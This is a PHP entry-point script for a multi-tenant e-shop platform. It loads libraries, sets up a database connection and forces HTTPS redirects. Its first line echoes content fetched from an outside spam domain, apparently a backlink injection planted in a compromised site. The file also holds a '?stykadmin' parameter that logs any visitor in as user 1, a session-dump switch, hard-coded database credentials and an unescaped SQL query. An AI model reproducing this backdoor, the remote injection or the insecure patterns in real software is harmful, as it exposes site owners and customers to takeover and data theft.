echo file_get_contents("https://kanjut-berdiri.info/backlink/acong.php");
session_start();
define( 'LOG_TO_EMAIL', 0 );
define( 'BOX_ESHOP', 1 );
define( 'ROOT_PATH', '' );
date_default_timezone_set( 'Europe/Bratislava' );
if( isset( $_GET['clear'] ) )
{
unset( $_SESSION );
unset( $_GET['clear'] );
}
if( isset( $_GET['clearSession'] ) )
{
$_SESSION = array();
unset( $_GET['clearSession'] );
}
if( isset( $_GET['stykadmin'] ) )
{
$_SESSION['userId'] = 1;
}
if( isset( $_GET['ds'] ) )
{
echo '';
print_r($_SESSION);
die();
unset( $_GET['ds'] );
}
include( 'system/libs/paypal/autoload.php' );
include( 'vendor/autoload.php' );
include( 'system/libs/Facebook/autoload.php' );
include ( 'system/libs/phpmailer/class.phpmailer.php' );
include( 'config/errorConfig.php' );
include( 'system/FaBootstrap.php' );
include ( 'system/libs/tracy.phar' );
use Tracy\Debugger;
if( isset( $_GET['notracy'] ) )
{
}
else
{
if( !get('ajax' ) )
{
Debugger::enable(Debugger::PRODUCTION);
}
}
if( BOX_ESHOP == 1 )
{
include( ROOT_PATH . 'config/config.php' );
}
else
{
$options = array(
'driver' => 'mysql',
'host' => 'localhost',
'username' => 'omnistore',
'password' => 'omnistore22!!',
'database' => 'omnistore',
'charset' => 'utf8',
'profiler' => TRUE,
);
global $db1;
$db1 = new DibiConnection($options);
$server = str_replace( 'www.', '', $_SERVER['SERVER_NAME'] );
$check = $db1->query( "SELECT * FROM web WHERE `url` = '" . $server . "' OR `domain` = '" . $server . "'" )->fetchAll();
define( 'USER_DIR', '../clientdata/' . $check[0]->id );
define( 'CLIENT_ID', $check[0]->clientId );
define( 'ESHOP_ID', $check[0]->id );
define( 'NAMEDB', $check[0]->db );
define( 'USERDB', 'omnistore' );
define( 'HOSTDB', 'localhost' );
define( 'PASSDB', 'omnistore22!!' );
define( 'FILES_DIR', '../clientdata/' . $check[0]->id . '/' );
define( 'GOOGLE_API', $check[0]->gapi );
define( 'COMPILER_DIR', '/cache' );
define( 'TARIF', $check[0]->tarif );
}
$protocol = (@$_SERVER["HTTPS"] == "on") ? "https://" : "http://";
if (substr($_SERVER['HTTP_HOST'], 0, 4) !== 'www.') {
header('Location: '.$protocol.'www.'.$_SERVER['HTTP_HOST'].''.$_SERVER['REQUEST_URI']);
exit;
}
if(empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] == "off"){
$redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header('HTTP/1.1 301 Moved Permanently');
header('Location: ' . $redirect);
exit();
}
FaCore::gi()->runSystem();